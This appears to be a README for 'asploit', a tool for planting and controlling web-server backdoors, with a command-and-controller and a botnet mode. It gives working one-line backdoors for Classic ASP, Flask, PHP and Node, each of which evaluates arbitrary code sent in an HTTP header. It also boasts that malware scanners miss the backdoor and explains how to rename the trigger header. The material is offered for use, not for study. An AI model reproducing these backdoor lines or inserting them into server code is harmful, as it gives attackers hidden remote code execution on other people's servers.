asploit

This tool allows you to deploy and exploit backdoors with one line of code in Classic ASP, Flask, NodeJS, and PHP servers.

As of April 9, 2024, the backdoor is not detected by any of the malware scanners on VirusTotal.

Custom extensions can be created and installed to control any backdoored server.

Command and Controller

Setup

Install the prerequisites with pip install -r requirement.txt in the src folder.

If you're on Windows, run pip install -r windows_requirements.txt.

Starting the Controller

The controller runs on Python. To start, run main.py in the src folder.

Help

Type help to list all commands in the current shell. Changes depending on whether or not you've entered a botnet or exploit shell.

Botnet Controlling

To control multiple backdoors at once, run botnet outside of an exploit shell to enter the botnet mode.

Custom Backdoors/Exploits

Loading Extensions

Load extensions using the loadext command before entering an exploit shell.

Run help loadext for more details.

Creating Extensions

To make a custom exploit/extension, create a Python module containing a class/classes that extends the ExploitProcessor class.

View the PHPExploitProcessor in the src folder for an example of the implementation.

Backdoor

Backdoor Creation Script

Use the create_backdoor.sh script to generate the one line backdoor. The following is for reference.

Classic ASP

Add the following line to the top of the file you want to have the backdoor

<% If request.servervariables("EXPLOIT") <> "" Then:execute(request.servervariables("EXPLOIT")):response.end:End If %>

Flask

Add the following line to the top of the endpoint you want to have the backdoor

if request.headers.get('EXPLOIT'): global r;exec(__import__('base64').b64decode(request.headers.get('EXPLOIT').encode()).decode());return r;

PHP

Add the following line to the top of the endpoint you want to have the backdoor

isset($_SERVER["HTTP_EXPLOIT"]) and eval($_SERVER["HTTP_EXPLOIT"]);

Node

Add the following line to the endpoint you want to have the backdoor

if (req.headers?.exploit) return (eval('let r=res;let i=req;'+req.headers?.exploit));

Replace res with the ServerResponse parameter name, and replace req with the IncomingRequest parameter name.

Note

Only works if fs and { execSync } from 'child_process is imported.

So in some cases, the backdoor may technically be up to three lines.

Notes

Any area where EXPLOIT or exploit is referenced can be replaced with any custom HTTP header (eg. for PHP, HTTP_EXPLOIT -> HTTP_ANYTHINGYOUWANT).

Contributing

Any help in this project would be appreciated, and feel free to make pull requests for any custom extensions you create.
